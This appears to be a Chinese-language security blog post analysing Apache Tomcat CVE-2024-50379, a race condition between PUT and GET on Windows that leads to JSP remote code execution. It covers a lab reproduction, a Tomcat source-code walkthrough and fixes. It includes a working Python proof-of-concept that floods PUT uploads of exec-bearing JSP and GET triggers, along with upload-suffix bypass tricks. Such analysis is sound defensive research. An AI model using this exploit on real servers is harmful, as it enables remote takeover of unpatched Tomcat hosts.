Apache-Tomcat条件竞争致远程代码执行漏洞(CVE-2024-50379)


一、(CVE-2024-50379)漏洞概述

1.1 简介

Apache Tomcat条件竞争致远程代码执行漏洞(CVE-2024-50379)是一个严重的安全漏洞,它允许攻击者在特定条件下绕过Tomcat的大小写检查,上传恶意文件并执行远程代码,可能导致服务器被完全控制。

1.2 原理概述

该漏洞是由于Tomcat在验证文件路径时存在缺陷,如果readonly参数被设置为false(这是一个非标准配置),并且服务器允许通过PUT方法上传文件,那么攻击者就可以上传含有恶意JSP代码的文件。通过不断地发送请求,攻击者可以利用条件竞争,使得Tomcat解析并执行这些恶意文件,从而实现远程代码执行。

1.3 影响范围

  • 受影响的Apache Tomcat版本包括:
    • 11.0.0-M1 <= Apache Tomcat < 11.0.2
    • 10.1.0-M1 <= Apache Tomcat < 10.1.34
    • 9.0.0.M1 <= Apache Tomcat < 9.0.98
  • 该漏洞仅影响在Windows系统下启用PUT请求方法,并将readonly参数设置为非默认值false的情况。

1.4 回顾CVE-2017-12615

CVE-2024-50379和CVE-2017-12615存在很多相似之处。

CVE-2017-12615是一个影响Apache Tomcat服务器的远程代码执行漏洞。

  • 当Apache Tomcat运行在Windows操作系统上,并且启用了HTTP PUT请求方法时(例如,通过将readonly初始化参数的默认值设置为false),攻击者可以通过精心构造的攻击请求向服务器上传包含任意代码的JSP文件。这些JSP文件中的代码能够被服务器执行,导致远程代码执行。

  • 受影响的Apache Tomcat版本包括7.0.0至7.0.81。

  • 该漏洞产生的原因是因为配置不当(非默认配置),具体来说,是将配置文件conf/web.xml中的readonly设置为了false,导致可以使用PUT方法上传任意文件。尽管对JSP后缀有限制,但对于不同平台存在多种绕过方法。

  • 攻击者可以通过发送HTTP PUT请求,并在请求中包含恶意JSP代码,来利用此漏洞。例如,通过在.jsp后加入/或者其他方式来绕过文件上传限制。

比如存在如下的web.xml的配置,当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求,此外交给default servlet进行处理请求。但是当PUT一个1.jsp/、1.jsp空格、1.jsp%00从而绕过JSP servlet的限制,让default servlet来处理请求。

<!-- The mapping for the default servlet -->
 <servlet-mapping>
     <servlet-name>default</servlet-name>
     <url-pattern>/</url-pattern>
 </servlet-mapping>

 <!-- The mappings for the JSP servlet -->
 <servlet-mapping>
     <servlet-name>jsp</servlet-name>
     <url-pattern>*.jsp</url-pattern>
     <url-pattern>*.jspx</url-pattern>
 </servlet-mapping>
@Override
   protected void doPut(HttpServletRequest req, HttpServletResponse resp)
       throws ServletException, IOException {

       if (readOnly) {
           sendNotAllowed(req, resp);
           return;
       }
	......

从上面的代码中,当readOnly设置为true的时候(也就是关闭PUT方法)会直接返回;但是如果设置为了false,可以通过一些措施绕过后缀名的检测来上传webshell。

CVE-2024-50379也会利用到readOnly=false的条件,这时通过put上传1.Jsp的恶意代码(Jsp的J大写是为了绕过后缀名的检测)到服务器。

通过并发put文件上传非标准后缀的”jsp”,并不断发起get请求一个标准后最的”jsp”文件,最终由于服务器的大小写不敏感,导致请求成功造成RCE。

二、漏洞复现

2.1 环境搭建

2.1.1 环境条件

2.1.2 windows虚拟机配置环境变量

配置JAVA_HOME:

在Path中将这个版本的java的环境变量置顶,防止其他版本的干扰:

配置CATALINA_BASE:

CATALINA_BASE环境变量在Apache Tomcat中扮演着重要的角色,其主要作用和配置如下:

  1. 定义和作用
    • CATALINA_BASE环境变量定义了Tomcat的工作目录,这个目录是Tomcat部署应用程序的基础路径。它通常用于隔离不同应用程序的配置和资源,允许多个Tomcat实例共享同一个CATALINA_HOME,但拥有独立的工作目录。这对于多租户环境非常有用,因为它可以防止应用程序之间的资源冲突。
  2. 与CATALINA_HOME的区别
    • CATALINA_HOME是Tomcat的安装目录,包含了Tomcat的所有核心文件和目录。而CATALINA_BASE是指Tomcat的基本目录,包括配置文件、日志文件和Web应用程序等。如果只运行一个Tomcat实例,这两个属性指向的位置是相同的。
  3. 配置多个实例
    • 当需要在一台计算机上运行多个Tomcat实例时,可以通过设置不同的CATALINA_BASE来实现。每个实例可以有自己的配置文件、日志文件、临时文件、Web应用程序和工作目录,而共享CATALINA_HOME中的公共文件如binlib目录。

2.1.3 启动tomcat

这下环境变量就已经配置齐了 这个时候就已经可以正常启动tomcat了 运行这个批处理文件。

C:\Users\client\Desktop\apache-tomcat-9.0.63\apache-tomcat-9.0.63\bin\startup.bat

启动成功(乱码)

找到Tomcat目录下conf文件夹中的logging.properties文件,

打开logging.properties文件,找到文件中的java.util.logging.ConsoleHandler.encoding = UTF-8,

将其中的UTF-8改为GBK,保存后重启Tomcat服务,启动后就会看到刚才的乱码已经转换过来了。

访问测试:

2.2 漏洞复现

web.xml readOnly配置为false,即允许PUT上传:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

put上传1.jsp,无法上传。

2.2.1 尝试CVE-2017-12615绕过

  • / (失败)
  • %00 (失败)
  • 空格 (失败)
  • 改变大小写(成功上传✅,但不会解析执行,无法触发RCE)

用get访问时1.Jsp时不会触发RCE。

访问1.jsp是资源不存在。

2.2.1 手动将1.Jsp改成1.jsp触发RCE

发送get请求:

GET /1.jsp HTTP/1.1
Host: 192.168.155.19:8080

成功触发RCE,弹出计算器。

2.2.2 基于条件竞争触发RCE

现在的情况是,我们能够上传类似poc.Jsp的文件,但是GET poc.Jsp并不会触发服务端执行恶意代码,只有GET poc.jsp时会触发RCE。

基于CVE-2024-50379,我们并发的上传poc.Jsp,并且也并发的GET poc.jsp,只要在合适的时间窗口内(具体这个窗口的原理后续分析)就能够成功触发恶意代码的执行。

  • PUT poc.Jsp
  • GET poc.jsp

因为要尽可能的在一个时间窗口内触发,GET请求的并发线程数多一些。

单独有前两个线程没有触发成功的话可以再添加一个并发的PUT请求。

  • 再添加一个PUT poc2.Jsp

还是没能触发。

GET poc.jsp 并发线程设置为10000也没能触发成功,后又改回5000.

如果想成功率高一点建议用虚拟机,把内核、内存大小设置小一点。

原设置 内存改到256M

比较随缘。在执行到后期通常都会成功,需要耐心等待一下,如下图所示。

从上图可以看到,本来服务端不存在evil.jsp恶意代码文件(有的只是evil.Jsp),但是在条件竞争的情况下被成功GET并执行了。

下面结合POC一起打的时候也成功了。

2.3 POC

import asyncio
import aiohttp

async def send_request(session, method, url, data=None):
    try:
        async with session.request(method, url, data=data) as response:
            print(f"Request to {url} completed with status {response.status}")
            return await response.text()
    except Exception as e:
        print(f"Request to {url} failed: {e}")
        return None

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = []
        for _ in range(10000):  # 循环100次
            tasks.append(send_request(session, 'PUT', 'http://192.168.155.19:8080/evil.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
            tasks.append(send_request(session, 'PUT', 'http://192.168.155.19:8080/test.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
            tasks.append(send_request(session, 'GET', 'http://192.168.155.19:8080/evil.jsp'))

        # 并发执行所有任务
        responses = await asyncio.gather(*tasks)

        # 打印部分响应结果(可选)
        for i, response in enumerate(responses):
            if response:
                print(f"Response {i+1}: {response[:100]}...")

# 运行主函数
asyncio.run(main())

可以使用POC+yakit一起打。

成功弹出大量的计算器,表明恶意代码成功执行了。

三、代码审计——底层原理剖析

CVE-2024-50379是一个Apache Tomcat的条件竞争漏洞,其底层原理涉及到Windows文件系统和Tomcat在路径大小写处理上的不一致性。

3.1 File对象的getCanonicalPath方法和exists方法

这段Java代码是一个简单的测试程序,用于演示File对象的getCanonicalPath方法和exists方法的行为。

public class MyTest {
    private static final SimpleDateFormat sdf = new SimpleDateFormat("HH:mm:ss");

    public static void main(String[] args) throws Exception {
        File file = new File("D:\\dev\\apache-tomcat-9.0.98\\webapps\\ROOT\\poc2.jsp");
        while (true) {
            String canonicalPath = file.getCanonicalPath();
            System.out.println(sdf.format(new Date()) + "\t" + canonicalPath + "\t" + (file.exists() ? "yes" : "no"));
            TimeUnit.SECONDS.sleep(1);
        }
    }
}

这段Java代码是一个简单的测试程序,用于演示File对象的getCanonicalPath方法和exists方法的行为。下面是对这段代码的详细解释:

  1. SimpleDateFormat 类
    • SimpleDateFormat 是一个用于格式化和解析日期的类。在这里,它被用来以 "HH:mm:ss" 的格式显示当前时间。
  2. File 是一个抽象的类,用于表示文件和目录路径名的抽象表示形式。它提供了一些方法来操作实际的文件和目录。
  3. getCanonicalPath 方法
    • getCanonicalPath 方法被调用来获取文件的规范化路径。规范化路径是一个绝对路径,它消除了所有相对路径的引用(如 ...),并且反映了文件系统的实际大小写。
  4. **TimeUnit.SECONDS.sleep(1)**:
    • 程序在每次循环后暂停1秒钟。TimeUnit.SECONDS.sleep(1) 是一个静态导入,它使程序在继续下一次循环之前休眠1秒。

在CVE-2024-50379漏洞的上下文中,这段代码可以用来展示在Windows文件系统中,文件名的大小写是如何被处理的,以及这如何可能影响Tomcat服务器的行为。

  • 当磁盘目录上不存在poc2.jsp时,会看到这样的输出:
截屏2024-12-26 14.24.54
  • 模拟执行PUT /poc2.JSP 上传一个poc2.JSP文件,会发现getCanonicalPath函数将JSP转换为了小写的jsp,且exists函数判断小写的jsp文件存在:
截屏2024-12-26 14.25.22
  • 再等待几秒后会发现:小写的jsp后缀变为了大写的JSP,但此时exists函数仍然判断小写的jsp文件存在(这是因为windows对大小写不敏感的原因,windows上任务1.JSP和1.jsp是一个文件):

这是JDK 1.8 java.io.File#getCanonicalPath 方法在Windows上的表现。Tomcat的这个漏洞也正是利用了这个特点。

3.2 Tomcat漏洞源代码分析(9.0.63为例)

在tomcat源码中,org.apache.catalina.webresources.AbstractFileResourceSet#file 方法第94行调用了getCanonicalPath方法

从上面小节的演示来看,当刚刚执行 PUT /poc2.JSP 操作后,canPath是一个小写的 .jsp 结尾的文件。

然后回到上层getResource方法中,第105行判断文件是否存在,由于此时已经上传了 poc*.JSP 文件,f.exists()会返回true(windows大小写不敏感),于是在第111行返回了一个 FileResource 对象,有了这个FileResource对象tomcat就会找到相应的jsp并编译成servlet执行,于是RCE就触发了。

为什么再过几秒之后就无法触发了呢?换言之为什么这个漏洞称之为条件竞争呢?

因为过了这个时间差之后,file.getCanonicalPath 获取的值就变为了 *.JSP 大写结尾的路径,但调用 file.getAbsolutePath() 方法依然会返回 *.jsp 小写结尾的路径,于是 file 方法第141行的equals方法会返回false,再取反为true,于是执行到145行返回一个null:

file.getAbsolutePath返回小写的jsp

再返回上层getResource方法中,此时得到的 f 是null,则会返回一个空资源 EmptyResource:

空资源代表不存在,于是tomcat会返回404 。

所以这个漏洞要想利用必须打时间差,在 .jsp 变为 .JSP 之前。此所谓“条件竞争”。

3.3 总结

  1. Windows文件系统与Tomcat的大小写敏感性差异:

    Windows文件系统是不区分大小写的,而Tomcat在处理文件路径时默认是区分大小写的。这个差异被攻击者利用来绕过Tomcat的路径校验机制。

  2. 在Tomcat源码中,org.apache.catalina.webresources.AbstractFileResourceSet#file方法调用了getCanonicalPath方法。当执行PUT操作后,getCanonicalPath返回的是小写.jsp结尾的文件,然后Tomcat会检查文件是否存在,由于文件已经上传,f.exists()会返回true(Windows大小写不敏感),于是返回了一个FileResource对象,导致Tomcat找到相应的jsp并编译成servlet执行,触发RCE。

  3. 时间差利用:

    攻击者必须在.jsp变为.JSP之前利用这个漏洞,因为过了这个时间差之后,file.getCanonicalPath获取的值就变成了大写结尾的路径,但调用file.getAbsolutePath()方法依然会返回小写结尾的路径,导致后续的路径检查失败,Tomcat会返回404错误。

综上所述,CVE-2024-50379漏洞利用了Windows文件系统和Tomcat在大小写处理上的差异,通过条件竞争的方式,使得攻击者能够上传并执行恶意代码。

四、修复建议

  • Apache官方已经发布了安全通告并发布了修复版本,建议用户尽快升级到以下版本:
    • Apache Tomcat 11.0.2 或更高版本
    • Apache Tomcat 10.1.34 或更高版本
    • Apache Tomcat 9.0.98 或更高版本
  • 官方下载链接:
  • 临时缓解措施

    • 在不影响业务的前提下将conf/web.xml文件中的readOnly参数设置为true或直接注释该参数;

    • 禁用PUT方法并重启Tomcat服务以启用新的配置。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录